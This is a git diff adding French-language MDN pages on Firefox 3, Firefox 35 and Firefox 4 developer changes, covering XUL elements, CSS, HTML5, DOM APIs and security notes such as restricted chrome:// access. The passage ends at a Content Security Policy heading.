Les valeurs de taille de police (font-size) utilisant les unités em et ex étaient auparavant affectées selon la taille de police minimale spécifiée par l'utilisateur : si une police était affichée plus grande à cause de la taille de police minimale, les unités em et ex pour les tailles de police étaient adaptées en fonction. Ce comportement était incohérent avec la manière dont les tailles de police en pourcentage fonctionnaient.

+ +

Les valeurs de font-size sont à présent basées sur une « taille de police désirée » qui n'est pas affectée par la taille minimale de police de l'utilisateur. Autrement dit, les tailles de police sont toujours calculées selon l'intention du concepteur du site et ne sont ajustées selon la taille de police minimale qu'après coup.

+ +

Consultez le {{ Bug(322943) }} pour une démonstration (doit être visionnée avec une taille de police minimale supérieure ou égale à 6 pour voir la différence : les deux cascades de boîtes se comportent différemment dans Firefox 2, car la taille de police basée sur des unités em est décalée par la taille de police minimale).

+ +

Changements concernant la sécurité

+ +

Accès au chrome

+ +

Dans les versions précédentes de Firefox, toute page web pouvait charger des scripts ou des images depuis le chrome à l'aide du protocole chrome://. Cela permettait entre autres à des sites de détecter la présence de certains modules complémentaires — ce qui pourrait être utilisé pour compromettre la sécurité d'un utilisateur en contournant des modules ajoutant des fonctionnalités de sécurité au navigateur.

+ +

Firefox 3 ne permet plus au contenu web que d'accéder aux éléments dans les espaces chrome://browser/ et chrome://toolkit/. Ces fichiers sont prévus pour être accessibles au contenu web. Tous les autres contenus chrome y sont par contre à présent inaccessibles.

+ +

Une possibilité existe cependant pour les extensions désirant rendre le contenu accessible aux pages web. Ces extensions peuvent spécifier un paramètre spécial dans leur fichier chrome.manifest comme ceci :

+ +
content mypackage location/ contentaccessible=yes
+
+ +

Cette manipulation ne devrait pas être nécessaire la plupart du temps, mais elle existe toutefois pour les rares cas où elle reste indispensable. Notez qu'il n'est pas exclu que Firefox avertisse l'utilisateur de cette utilisation du paramètre contentaccessible, étant donné qu'il constitue un risque potentiel de sécurité.

+ +
Note : Firefox 2 ne gérant pas le paramètre contentaccessible (la ligne le contenant sera entièrement ignorée), si vous voulez que votre module reste compatible avec Firefox 2 et Firefox 3, ajoutez plutôt quelque chose comme ceci : + +
content mypackage location/
+content mypackage location/ contentaccessible=yes
+
+
+ +

Champs d'envoi de fichiers (upload)

+ +

Dans les versions précédentes de Firefox, un certain nombre de cas existaient où le chemin entier du fichier envoyé par l'utilisateur était lisible par une application web. Pour des raisons de confidentialité, ce n'est plus possible dans Firefox 3 ; à présent seul le nom du fichier lui-même est visible par l'application web.

+ +

Changements dans JavaScript

+ +

Firefox 3 intègre JavaScript 1.8. Un changement important qui pourrait nécessiter une mise à jour de vos sites ou applications Web est que l'objet obsolète et non standard Script n'est plus géré. Il ne s'agit pas de la balise <script> mais d'un objet JavaScript qui n'avait jamais été standardisé. Il est finalement peu probable que vous l'ayez jamais utilisé, et vous n'aurez sans doute aucun problème.

+ +

Voir également

+ + + +

 

+ +
 
+ +

{{ languages( { "en": "en/Updating_web_applications_for_Firefox_3", "es": "es/Actualizar_aplicaciones_web_para_Firefox_3", "ja": "ja/Updating_web_applications_for_Firefox_3", "pl": "pl/Aktualizacja_aplikacji_internetowych_dla_Firefoksa_3" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/3/xul_improvements_in_firefox_3/index.html b/files/fr/mozilla/firefox/releases/3/xul_improvements_in_firefox_3/index.html new file mode 100644 index 0000000000..c509160ae5 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/3/xul_improvements_in_firefox_3/index.html @@ -0,0 +1,95 @@ +--- +title: Améliorations XUL dans Firefox 3 +slug: Améliorations_XUL_dans_Firefox_3 +tags: + - Firefox 3 + - XUL +translation_of: Mozilla/Firefox/Releases/3/XUL_improvements_in_Firefox_3 +--- +
{{FirefoxSidebar}}

{{ Fx_minversion_header(3) }}

+ +

Firefox 3 fournit un certain nombre de nouveaux éléments XUL, ainsi que des améliorations sur des éléments existants. Bien que ces éléments soient documentés ailleurs, cet article offre une liste pratique des améliorations ainsi que des liens vers la documentation détaillée.

+ +

Nouveaux éléments

+ +
    +
  • Contrôles numériques : + +
      +
    • Le nouvel élément <scale> permet de créer des échelles glissantes permettant à l'utilisateur de sélectionner une valeur dans un intervalle donné. Ce contrôle serait typiquement utilisé, par exemple, pour créer un contrôle de volume. {{ interwiki('wikimo', 'XUL:Slider_Tag', 'Plus d\'informations sur scale') }} Référence de scale ({{ Bug(290255) }})
      • +
    • Une nouvelle valeur 'number' pour l'attribut type des élément textbox crée une boîte de texte dans laquelle seuls des nombres peuvent être entrés. De plus, des boutons fléchés apparaissent sur le côté permettant de se déplacer parmi les valeurs. {{ interwiki('wikimo', 'XUL:Specs:NumberBox', 'Plus d\'informations sur les boîtes de texte numériques') }} ({{ Bug(345510) }})
      • +
    • Un élément <spinbuttons> a été ajouté, qui peut être utilisé pour créer des contrôles à l'aide de liaisons XBL. ({{ Bug(155053) }})
      • +
    • Deux contrôles, <datepicker> et <timepicker>, peuvent être utilisés pour permettre l'entrée de dates et d'heures. Le sélecteur de tdate est disponible en plusieurs styles selon l'attribut type, et permet des entrées via des boîtes de texte ou un calendrier. {{ interwiki('wikimo', 'XUL:Specs:DateTimePickers', 'Plus d\'informations sur les sélecteurs de date') }} Référence sur datepicker
      • +
    +
    • +
  • Un guide a été créé pour décrire les nouvelles fonctionnalités disponibles pour les menus et les popups. +
      +
    • Un élément <dropmarker> a été ajouté, qui peut être utile pour créer des contrôles semblables à des menus à l'aide de liaisons XBL. ({{ Bug(348614) }})
      • +
    • Le nouvel élément <panel> est destiné aux popups qui ne sont pas des menus. Il peut supporter n'importe quel type de contenu. L'élément <menupopup> devrait être utilisé pour des menus. Les menus fournissent la navigation par le clavier et l'ouverture/fermeture des sous-menus.
      • +
    +
    • +
+ +

Améliorations des arbres

+ +
    +
  • Il est possible à présent faire défiler des arbres horizontalement. Une barre de défilement horizontal apparaitra si toutes les colonnes n'entrent pas dans la largeur disponible. Cela se produira si la somme des largeurs de colonnes spécifiées est plus grande que l'espace disponible. ({{ Bug(212789) }})
    • +
  • Un nouveau style de sélection permet de sélectionner les cellules individuellement plutôt que des lignes entières. On peut l'utiliser en définissant l'attribut seltype d'un arbre à la valeur 'cell'. ({{ Bug(296040) }})
    • +
  • Des cellules individuelles d'un arbre peuvent être modifiées. Un double-clic sur une cellule éditable affichera un champ texte dans lequel l'utilisateur pourra modifier le contenu de la cellule. {{ interwiki('wikimo', 'XUL:Tree', 'Plus de détails') }} ({{ Bug(201499) }})
    • +
  • Les éléments <treecol> supportent maintenant un attribut overflow qui peut être défini à true pour permettre au texte des cellules d'un colonne de déborder dans les cellules vides voisines si le texte est trop grand pour s'afficher dans une seule cellule.
    • +
+ +

Améliorations des menus

+ +
    +
  • L'attribut image est utilisé de manière consistante pour définir des images
    • +
  • Les menulist déclenchent l'évènement select lorsqu'un élément est sélectionné
    • +
  • Les propriétés inputField et editable ont été ajoutées à l'élément menulist
    • +
  • Les éléments <menu>, <menuitem> et <menuseparator> disposent d'une propriété en lecture seule selected indiquant si l'élément est sélectionné dans une <menulist>
    • +
  • Les éléments <menu>, <menuitem> et <menuseparator> disposent d'une propriété en lecture seule control qui renvoie l'élément <menulist> parent
    • +
  • Les éléments <menu>, <menuitem> et <menuseparator> disposent de propriétés accessKey, disabled, crop, image et label permettant de modifier l'attribut correspondant
    • +
  • L'élément <menu> dispose à présent de méthodes pour ajouter, insérer et supprimer des éléments de menu (menuitems). ({{ Bug(372552) }})
    • +
  • Une propriété editor permet d'obtenir le nsIEditor interne pour le champ texte d'un élément menulist modifiable.({{ Bug(312867) }})
    • +
  • Les menus peuvent être rendus translucides sur les plateformes qui le permettent. ({{ Bug(70798) }})
    • +
+ +

Améliorations des boîtes de texte

+ +
    +
  • En définissant l'attribut spellcheck d'une boîte de texte à 'true', la correction orthographique sera activée pour cette boîte de texte. ({{ Bug(346787) }})
    • +
  • L'élément <textbox> dispose d'une méthode reset() pour réinitialiser la valeur de la boîte de texte à sa valeur par défaut. La propriété defaultValue peut être utilisée pour retrouver et modifier cette valeur par défaut. ({{ Bug(312867) }})
    • +
  • Une propriété editor permet d'obtenir le nsIEditor internet pour le champ texte. ({{ Bug(312867) }})
    • +
  • textbox dispose d'un attribut newlines spécifiant comment les retours à la ligne dans les textes collés seront traités. ({{ Bug(253481) }}) Les valeurs possibles sont : +
      +
    • pasteintact — tout coller tel quel
      • +
    • pastetofirst — (valeur par défaut) coller uniquement ce qui précède le premier retour à la ligne
      • +
    • replacewithspaces — remplacer les retours à la ligne par des espaces
      • +
    • replacewithcommas — remplacer les retours à la ligne par des virgules
      • +
    • strip — retirer tous les retours à la ligne
      • +
    • stripsurroundingwhitespace — retirer tous les retours à la ligne et les blancs qui les entourent
      • +
    +
    • +
+ +

Autres améliorations

+ +
    +
  • L'attribut type d'un élément <button> peut être défini à 'repeat' pour créer des boutons qui se déclenchent régulièrement tant que le bouton est enfoncé. ({{ Bug(331055) }})
    • +
  • L'attribut buttondisabledaccept peut être utilisé sur l'élément <dialog> pour que le bouton OK soit initialement désactivé. ({{ Bug(247849) }})
    • +
  • L'élément <titlebar> dispose d'un attribut allowevents permettant de passer des évènements aux enfants de la barre de titre. ({{ Bug(361425) }})
    • +
  • L'élément <splitter> dispose d'une valeur supplémentaire 'both' pour l'attribut collapse indiquant que le séparateur peut coller les éléments sur les deux côtés lorsqu'il est déplacé. L'attribut substate sera défini soit à before, soit à after lorsque l'un des deux est collé. ({{ Bug(337955) }})
    • +
  • L'élément <richlistbox> permet les sélections multiples. Définissez l'attribut seltype à 'multiple' pour activer cette fonctionnalité.
    • +
  • L'élément <radio> dispose d'un attribut group permettant de définir l'id de l'élément <radiogroup> auquel appartient le bouton radio. Cela permet aux boutons radio d'être placés d'une autre manière que de les inclure tous à l'intérieur d'un radiogroup.
    • +
  • Menus, panels et tooltips supportent deux nouvelles méthodes, openPopup() et openPopupAtScreen(). Ces méthodes devraient être utilisées à la place de showPopup qui était source de confusion à l'utilisation.
    • +
  • La gestion de l'élément <key> a été améliorée pour les utilisateurs de claviers non-Latins. Voir Évènement keypress dans Gecko.
    • +
  • Sous Mac OS X, les attributs activetitlebarcolor et inactivetitlebarcolor des éléments racine (<window>, <dialog>, <prefwindow> et <wizard>) sont disponibles pour personnaliser la couleur de la barre de titre des fenêtres.
    • +
+ +

Voir également

+ + + +

{{ languages( { "en": "en/XUL_improvements_in_Firefox_3", "es": "es/Mejoras_XUL_en_Firefox_3", "ja": "ja/XUL_improvements_in_Firefox_3", "pl": "pl/Poprawki_XUL_w_Firefoksie_3" } ) }}

diff --git a/files/fr/mozilla/firefox/releases/35/index.html b/files/fr/mozilla/firefox/releases/35/index.html new file mode 100644 index 0000000000..12ed5c06b2 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/35/index.html @@ -0,0 +1,197 @@ +--- +title: Firefox 35 pour les développeurs +slug: Mozilla/Firefox/Versions/35 +tags: + - Firefox + - Guide + - Mozilla +translation_of: Mozilla/Firefox/Releases/35 +--- +

Changement concernant les développeurs

+ +

Outils de développement

+ +

Liens:

+ + + +

Tous les bugs des outils de développement résolus entre Firefox 34 et Firefox 35.

+ +

CSS

+ +
    +
  • La proprieté mask-type a été activée par défaut (bug 1058519).
    • +
  • La propieté filter est maintenant activée par défaut (bug 1057180).
    • +
  • La fonction @font-face est maintenant compatible avec les polices de type WOFF2 (bug 1064737).
    • +
  • La notation fonctionnelle symbol() est maintenant supportée(bug 966168).
    • +
  • L'API CSS Font Loading a été implémentée (bug 1028497).
    • +
  • En utilisant -moz-appearance avec la valeur none sur un menu de type select, le bouton déroulant est maintenant supprimé (bug 649849).
    • +
  • La propriété accessor element.style["css-property-name"] a maintenant été ajoutée pour correspondre aux autres navigateurs (bug 958887).
    • +
+ +

HTML

+ +
    +
  • Les obsolètes et non conformes bottommargin, leftmargin, rightmargin and topmargin attributs de l'élement <body>  ont été activés en mode  non-quirks (bug 95530).
    • +
  • Les imports HTML sont maintenant supportés (bug 877072).
    • +
+ +

JavaScript

+ +
    +
  • La "temporal dead zone" pour les déclarations let a été implementée.  En conformité avec les sémantiques let ES6, les situations suivantes renvoyent des erreurs. Voir aussi cet annoncement de newsgroup and bug 1001090. + +
      +
    • Redéclarer des variables existantes ou arguments utilisant let sans la même portée dans le corps de fonctions est maintenant une erreur de syntaxe.
      • +
    • Utiliser une variable déclarée en utilisant let dans le corps de fonctions avant la déclaration de cette variable est maintenant une erreur d'exécution.
      • +
    +
    • +
  • ES6 Symbols (disponible uniquement dans Nightly) a été mis à jour pour être conforme avec les récents changements de spécification : +
      +
    • String(Symbol("1")) ne renvoie maintenant une TypeError; au lieu d'un string ("Symbol(1)") (bug 1058396).
      • +
    • Les divers constructeurs TypedArray ont maintenant comme [[Prototype]] une simple fonction, notée %TypedArray%  en ES6 (mais pas directement exposé).  Chaque prototype de tableau typé hérite maintenant de %TypedArray%.prototype.  (%TypedArray% et %TypedArray%.prototype hérite eux-mêmes de Function.prototype et Object.prototype, respectivement, ainsi ce constructeur et ces instances de tableau typé ont aussi les propriétés de ces objets.) Les propriétés des fonctions de tableau typés se trouvent maintenant sur %TypedArray%.prototype et fonctionnent sur tous les tableaux typés. Voir TypedArray et bug 896116 pour plus d'information.
      • +
    +
    • +
  • Les semantiques ES6 pour les mutations de prototype utilisant les initialisateurs d'objet ont été implémentées (bug 1061853). +
      +
    • Maintenant un seul membre noté  __proto__:value peut changer le [[Prototype]] dans la syntaxe de l'initialisateur d'objet.
      • +
    • Les membres de méthode comme __proto__() {} ne réecrivent pas le [[Prototype]].
      • +
    +
    • +
+ +

Interfaces/APIs/DOM

+ + + +

 MathML

+ +
    +
  • La fonction  dtls OpenType (via les CSS font-feature-settings sur la feuille de styles par défaut) est maintenant appliquée automatiquement aux éléments MathML lors du positionnement des scripts au-dessus (e.g. dotless i with mathematical hat).
    • +
+ +

SVG

+ +

Aucun changement.

+ +

Audio/Video

+ +

Aucun changement.

+ +

Réseau & Sécurité

+ + + +

Changements pour les modules et les développeurs Mozilla

+ +

XUL & Modules

+ +
    +
  • La méthode privée _getTabForBrowser() sur l'élement tabbrowser a été remplacée. À la place, nous avons ajouté une nouvelle méthode publique apellée getTabForBrowser. Elle retourne assez prévisiblement l'élément tab qui contient le spécifique browser.
    • +
  • Components.utils.now(), correspondant à Performance.now() a été implémenté pour les codes Chrome sans fenêtre ouverte (bug 969490).
    • +
+ +

Module SDK

+ +

Titres

+ + + +

Détails

+ +

Commits de GitHub effectués entre Firefox 34 et Firefox 35. Ceci ne comprendra pas les évolutions après la sortie officielle.

+ +

Bugs corrigés entre Firefox 34 et Firefox 35. Ceci ne comprendra pas les évolutions après la sortie officielle.

+ +

Voir aussi

+ + + +

Anciennes versions

+ +
+ +
diff --git a/files/fr/mozilla/firefox/releases/35/site_compatibility/index.html b/files/fr/mozilla/firefox/releases/35/site_compatibility/index.html new file mode 100644 index 0000000000..326b53a4b0 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/35/site_compatibility/index.html @@ -0,0 +1,13 @@ +--- +title: Compatibilité des sites avec Firefox 35 +slug: Mozilla/Firefox/Versions/35/Site_Compatibility +tags: + - Compatibilité + - Développement Web + - Firefox + - Firefox 35 + - FxSiteCompat + - Guide +translation_of: Mozilla/Firefox/Releases/35/Site_Compatibility +--- +
{{FirefoxSidebar}}

Cette page a été déplacée vers FxSiteCompat.com.

diff --git a/files/fr/mozilla/firefox/releases/4/index.html b/files/fr/mozilla/firefox/releases/4/index.html new file mode 100644 index 0000000000..050e4cfe06 --- /dev/null +++ b/files/fr/mozilla/firefox/releases/4/index.html @@ -0,0 +1,640 @@ +--- +title: Firefox 4 pour les développeurs +slug: Mozilla/Firefox/Versions/4 +tags: + - Firefox + - Firefox 4 +translation_of: Mozilla/Firefox/Releases/4 +--- +
+ +

Firefox 4, est sorti le 22 mars 2011, améliore les performances, le support d'HTML5 et d'autres technologies du web et aussi la sécurité. Cet article fournit des informations sur cette version et sur les fonctionnalités qui sont disponibles pour les développeurs Web, les développeurs de modules complémentaires et les développeurs de la plate-forme Gecko.

+ +

Fonctionnalités pour les développeurs Web

+ +

Gecko utilise maintenant le parseur HTML5, qui corrige des bugs, améliore l'interopérabilité et les performances. Il permet également d'intégrer du contenu SVG et MathML directement dans le code HTML.

+ +

HTML

+ +
+
Rencontrez le parseur HTML5
+
Un aperçu sur ce que le parseur HTML5 représente pour vous et comment intégrer du contenu SVG et MathML dans votre code.
+
Les formulaires en HTML5
+
Un aperçu de l'amélioration de formulaires Web en HTML5. Parmi les changements on ajoute les types d'entrée dans l'élément <input>, la validation des données et d'autres modifications.
+
Sections HTML5
+
Gecko supporte à présent les nouveaux éléments HTML5 liés aux sections dans un document : <article>, <section>, <nav>, <aside>, <hgroup>, <header> et <footer>.
+
Attribut HTML5 hidden
+
Cet attribut, commun à tous les éléments, est utilisé pour cacher le contenu d'une page Web qui n'est pas encore pertinent pour l'utilisateur.
+
Autres éléments HTML5
+
Gecko supporte les nouveaux éléments HTML5 suivants : <mark>, <figure>, et <figcaption>.
+
WebSockets
+
Un guide pour utiliser la nouvelle API WebSockets pour la communication entre une application web et un serveur en temps réel. A noter que WebSockets tel qu'implémenté dans Firefox 4 n'est pas compatible avec la norme finale, et ne devrait pas être utilisé.
+
+ +

Améliorations de Canvas

+ +

Les modifications suivantes ont étés apportées à l'interface CanvasRenderingContext2D pour permettre à l'implémentation de <canvas> d'être en conformité avec la spécification :

+ +
    +
  • La spécification d'un rayon négatif lors de l'appel d'arc() lance désormais correctement l'exception INDEX_SIZE_ERR.
    • +
  • La spécification de valeurs non finies lors de l'appel de createLinearGradient() et createRadialGradient() lance désormais NOT_SUPPORTED_ERR au lieu de SYNTAX_ERR.
    • +
  • Le réglage de miterLimit pour une valeur négative ne lance plus une exception, mais ignore plutôt les valeurs non-positives.
    • +
  • Le réglage de lineWidth pour une valeur négative ne lance plus une exception, mais ignore plutôt les valeurs non-positives.
    • +
  • La méthode putImageData() supporte désormais les paramètres optionnels dirtyX, dirtyY, dirtyWidth et dirtyHeight.
    • +
+ +
+
+ +

Autres changements HTML

+ +
    +
  • L'élément <textarea> est maintenant redimensionnable par défaut ; pour le désactiver, vous pouvez utiliser la propriété CSS resize.
    • +
  • canvas.getContext et canvas.toDataURL ne lancent plus d'exceptions lorsqu'ils sont appelés avec des arguments non reconnus.
    • +
  • L'élément <canvas> supporte maintenant la méthode spécifique à Mozilla, mozGetAsFile(), qui permet d'obtenir un fichier basé sur l'image d'un contenu canvas. Voir HTMLCanvasElement pour les détails.
    • +
  • canvas2dcontext.lineCap et canvas2dcontext.lineJoin ne lancent plus d'exceptions lorsqu'ils sont réglés avec une valeur non reconnue.
    • +
  • canvas2dcontext.globalCompositeOperation ne lance plus d'exception lorsqu'il est réglé avec une valeur non reconnue et ne supporte plus la valeur darker, qui n'est pas un standard.
    • +
  • Le support de l'élément obsolète <spacer>, était absent de tous les autres navigateurs, a été enlevé.
    • +
  • L'élément <isindex>, qui était crée par document.createElement(), est maintenant crée comme un simple élément sans propriétés ou méthodes.
    • +
  • Gecko supporte maintenant l'appel click() sur l'élément <input> pour ouvrir le sélecteur de fichiers. Voir l'exemple dans l'article Using files from web applications.
    • +
  • L'élément <input> supporte un nouvel attribut mozactionhint, qui permet de spécifier l'étiquette de la touche Entrée sur un clavier virtuel.
    • +
  • L'élément <script> à l'intérieur des éléments <iframe>, <noembed> et <noframes> sont maintenant exécutés, contrairement aux versions précédentes de Firefox. Ceci est conforme à la spécification et correspond au comportement des autres navigateurs.
    • +
+ +

CSS

+ +
+
Transitions CSS
+
Le support des transitions CSS est disponible dans Firefox 4.
+
Les valeurs calculées en CSS
+
Le support de -moz-calc a été ajouté. Cela permet de spécifier des valeurs de <length> comme des expressions mathématiques.
+
Groupement de sélecteurs
+
Le support de :-moz-any pour grouper les sélecteurs et factoriser des combinateurs.
+
Support subrectangle pour background-image
+
La propriété -moz-image-rect permet d'utiliser des subrectangles en tant que background-image.
+
Propriétés CSS tactile
+
Le support des propriétés tactiles a été ajouté. Plus de détails plus tard.
+
Utilisation arbitraires d'élements comme fond
+
Vou pouvez utiliser la fonction CSS -moz-element et la fonction DOM document.mozSetImageElement() pour une utilisation arbitraire des éléments HTML comme fond.
+
Sélecteur :visited et confidentialité
+
Des modifications ont étés apportées sur les informations qui peuvent être obtenues sur le style des liens visités en utilisant les sélecteurs CSS. Certaines applications Web peuvent être affectées.
+
+ +

Nouvelles propriétés CSS

+ + + + + + + + + + + + + + + + + + + + +
PropriétéDescription
-moz-font-feature-settingsPermet de personnaliser les fonctionnalités avancées des polices OpenType.
-moz-tab-sizeSpécifie la largeur d'un espace de tabulation (U+0009) lors du rendu du texte.
resizePermet de modifier les dimensions d'un élément.
+ +
+
+ +

Nouvelles pseudo-classes CSS

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Pseudo-classDescription
:-moz-handler-crashedUtilisé pour le style d'un élément dont le plugin a planté.
:-moz-placeholderAppliquée à l'espace texte réservé dans les champs des formulaires.
:-moz-submit-invalidAppliquée au bouton d'envoi des formulaires quand un ou plusieurs des champs ne sont pas valides.
:-moz-window-inactiveAppliquée aux éléments d'une fenêtre inactive.
:invalidAutomatiquement appliquée aux champs <input> dont le contenu est invalide.
:optionalAutomatiquement appliquée aux champs <input> qui ne spécifient pas l'attribut required.
:requiredAutomatiquement appliquée aux champs <input> qui spécifient l'attribut required.
:validAutomatiquement appliquée aux champs <input> dont le contenu a été validé avec succès.
+ +

Nouveaux pseudo-selectors CSS

+ + + + + + + + + + + + +
Pseudo-selectorDescription
:-moz-focusringPermet de spécifier l'apparence d'un élément lorsque Gecko estime que l'on doit se fixer dessus.
+ +

Nouvelles fonctions CSS

+ + + + + + + + + + + + + + + + + + + + + + + + +
FonctionDescription
:-moz-anyPermet de grouper les sélecteurs et de factoriser les combinateurs.
-moz-calcPermet de spécifier des valeurs de <length> comme des expressions mathématiques.
-moz-elementPermet d'utiliser un élément arbritaire de fond pour background-image and background.
-moz-image-rectPermet d'utiliser un subrectangle d'une image comme background-image or background.
+ +

Propriétés CSS renommées

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Ancien nomNouveau nomNotes
-moz-background-sizebackground-sizeLe nom -moz-background-size n'est plus supporté.
-moz-border-radiusborder-radiusL'ancien nom est encore pris en charge pour une durée limitée, le temps de mettre vos sites à jour. Le changement du rendu a été fait pour correspondre à la dernière version de la spécification.
-moz-box-shadowbox-shadow
+ +

Divers changements CSS

+ +
    +
  • La propriété text-shadow plafonne désormais son rayon de flou à 300px, pour des raisons de bon sens et de performances.
    • +
  • La propriété overflow ne s'applique plus au groupe d'éléments de tableaux (<thead>, <tbody>, and <tfoot>).
    • +
  • La propriété -moz-appearance supporte désormais la valeur -moz-win-borderless-glass, qui s'applique à un élément Aero sans bordure.
    • +
  • La fonctionnalité de média -moz-device-pixel-ratio a été ajoutée, permettant l'utilisation de pixels de l'appareil par ratio de pixels CSS qui sera utilisé dans les Media Queries.
    • +
  • La manipulation des unités CSS dans Gecko a été révisé pour mieux correspondre à d'autres navigateurs, et plus précisément de traduire dans des longueurs absolues le nombre de pixels à l'écran basé sur le dispositif de la DPI.
    • +
+ +

Graphisme et vidéo

+ +
+
+
WebGL
+
La norme WebGL (encore en développement) est maintenant supportée par Firefox.
+
Optimisation des performances graphique
+
Trucs et astuces pour profiter le maximum des performances graphiques et vidéo dans Firefox 4.
+
Support de WebM
+
Le nouveau format vidéo ouvert WebM est supporté par Gecko 2.0.
+
Animation SVG avec SMIL
+
Les animations SVG avec SMIL sont désomais supportées.
+
Utilisation de SVG comme image ou arrière-plan CSS
+
Vous pouvez maintenant utilisez SVG avec l'élément <img>, ainsi qu'avec CSS background-image.
+
Attribut Media buffered
+
L'attribut buffered sur les éléments <video> and <audio> est maintenant supporté, vous permettant de déterminer quel fichier multimédia a été tamponné. L'interface DOM TimeRanges a été mise en place pour ce support.
+
Attribut Media preload
+
L'attribut preload de la spécification HTML5 a été implémenté, remplaçant l'attribut autobuffer précédemment mis en place (et qui n'est plus pris en charge). Cela affecte les éléments <video> et <audio> ainsi que l'interface nsIDOMHTMLMediaElement.
+
Amélioration du positionnement du texte SVG
+
Vous pouvez maintenant spécifier des listes des valeurs pour les propriétés x, y, dx, and dy sur les éléments SVG <text> et <tspan>. Cela vous permet de contrôler le positionnement de chaque caractère d'une chaîne, individuellement.
+
+ +

DOM

+ +
+
Tableaux JavaScript typés
+
Ajout du support pour les tableaux JavaScript typés, cela vous permet de manipuler des tampons contenant des données brutes en utilisant des types de données natives. Plusieurs API utilisent ça, y compris l'API File, WebGL et WebSockets.
+
Obtention des limites des rectangles limites
+
L'objet Range a désormais les méthodes range.getClientRects() et range.getBoundingClientRect().
+
Capture des évènements de la souris sur des éléments quelconques
+
Ajout du support des APIs setCapture() et releaseCapture() originaires d'Internet Explorer. Voir bug 503943.
+
Manipulation de l'historique du navigateur
+
L'objet de l'historique déjà existant et disponible via l'objet window.history, supporte maintenant les nouvelles méthodes HTML5 pushState() et replaceState().
+
Animations utilisant MozBeforePaint
+
Un nouvel évènement a été ajouté, qui, avec l'aide de la méthode window.mozRequestAnimationFrame() et de la propriété window.mozAnimationStartTime, offre un moyen de créer des animations qui sont synchronisées avec les autres.
+
Evènements touch et multi-touch
+
Ajout du support des évènements touch et multi-touch.
+
+ +

Changement des interfaces DOM d'éléments HTML

+ +

Plusieurs éléments HTML ont vu leur interface DOM modifier, conformément à la spécification HTML5.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Interface dans Firefox 3.6Interface dans Firefox 4Elements HTML
HTMLSpanElementHTMLElement<abbr>, <acronym>, <address>, <b>, <bdo>, <big>, <blink>, <center>, <cite>, <code>, <dd>, <dfn>, <dt>, <em>, <i>, <kbd>, <listing>, <nobr>, <plaintext>, <s>, <samp>, <small>, <strike>, <strong>, <sub>, <sup>, , <tt>, <u>, <var>, <xmp>
HTMLDivElementHTMLElement<noembed>, <noframes>, <noscript>
HTMLWBRElementHTMLElement<wbr>
+ +
+
+ +

Divers changements DOM

+ +
    +
  • L'enveloppement d'un élément <textarea> peut maintenant être commandé via l'attribut DOM wrap. bug 41464
    • +
  • Les éléments <script> crées avec document.createElement() et insérés dans un document, se comportent désormais conformément à la spécification HTML5. Les scripts avec l'attribut src s'exécute dès que possible (sasn maintenir la commande) et les scripts sans l'attribut src s'exécute de manière simultanée. Pour faire des scripts d'insertion de scripts qui ont l'attribut src qui exécute l'ensemble dans l'ordre d'insertion, pour eux .async=false.
    • +
  • Les objets DOM file proposent désormais la propriété url.
    • +
  • Support de FormData pour XMLHttpRequest.
    • +
  • La propriété element.isContentEditable a été implémentée.
    • +
  • La propriété document.currentScript vous permet de déterminer quel script de l'élément <script> est en cours d'exécution. les nouveaux évènements element.onbeforescriptexecute et element.onafterscriptexecute sont déclenchés avant et après l'éxécution d'un élément script.
    • +
  • Ajout de la propriété mozSourceNode à l'objet DragTransfer.
    • +
  • Ajout de la méthode selection.modify() à l'objet Selection, ce qui vous permet de facilement modifier la sélection de texte courant ou la position du curseur dans une fenêtre de navigateur.
    • +
  • Le support de l'objet window.directories et de la fonctionnalité directories pour window.open, qui ne sont plus supportés dans les autres navigateurs, ont été enlevés. Utiliser personalbar à la place. bug 474058
    • +
  • La propriété event.mozInputSource a été ajoutée à l'interface utilisateur des évènements DOM, cette propriété non-standard vous permet de déterminer le type de l'appareil qui a généré un évènement.
    • +
  • L'évènement document.onreadystatechange a été implémenté.
    • +
  • La méthode document.createElement n'accepte plus < et > autour du nom de balise en mode quirks.
    • +
  • Les méthodes element.setCapture() et document.releaseCapture() ont été ajoutées, permettant à des éléments de poursuivre des évènements de la souris, même lorsqu'elle est en dehors de leur zone de suivi normal après que l'évènement mousedown soit survenu.
    • +
  • La propriété window.mozPaintCount a été ajoutée, elle vous permet de déterminer le nombre de fois q'un document a été peint. Cela est particulièrement utile lors des tests de performance de votre application web.
    • +
  • Le signe de la langue a été supprimé de window.navigator.appVersion et window.navigator.userAgent. Utilisez window.navigator.language ou l'en-tête Accept-Language à la place. bug 572656
    • +
  • L'objet XMLHttpRequest expose maintenant la réponse comme un tableau JavaScript typé et aussi comme une chaîne, en utilisant la propriété, spécifique de Gecko, mozResponseArrayBuffer.
    • +
  • Mouse events inclut maintenant une propriété mozPressure indiquant le niveau de pression supporté sur les périphériques d'entrée sensibles à la pression.
    • +
  • Les méthodes window.URL.createObjectURL() et window.URL.revokeObjectURL() vous permettent de créer des URLs d'objet qui renvoient à des fichiers locaux.
    • +
  • La méthode DOMImplementation.createHTMLDocument() vous permet de créer un nouveau document HTML.
    • +
  • Node.mozMatchesSelector() retourne maintenant l'exception SYNTAX_ERRsi la chaîne de sélection spécifiée est invalide, au lieu de retourner false.
    • +
  • Vous pouvez maintenant définir les valeurs des propriétés d'un élement SVG en utilisant une syntaxe abrégée même avec CSS. Par exemple : element.style.fill = 'lime'. Voir element.style pour plus de détails.
    • +
  • Le document racine a maintenant un attribut privatebrowsingmode qui décrit l'état du mode de navigation privée, en indiquant notamment si la session de navigation privée est temporaire ou permanente.
    • +
  • Le second paramètre de la méthode window.getComputedStyle() est maintenant optionnel, car elle l'est dans tous les autres navigateurs.
    • +
  • L'objet DOM StorageEvent est maintenant conforme à la dernière version de la spécification.
    • +
  • Le délais minimum autorisé pour la méthode window.setTimeout() est maintenant la préférence dom.min_timeout_value.
    • +
  • L'évènement MozAfterPaint n'est plus envoyé par défaut, en raison d'un potentiel problème de sécurité. Il peut être réactivé en définissant une préférence.
    • +
+ +

Securité

+ +
+
Content Security Policy (CSP)
+
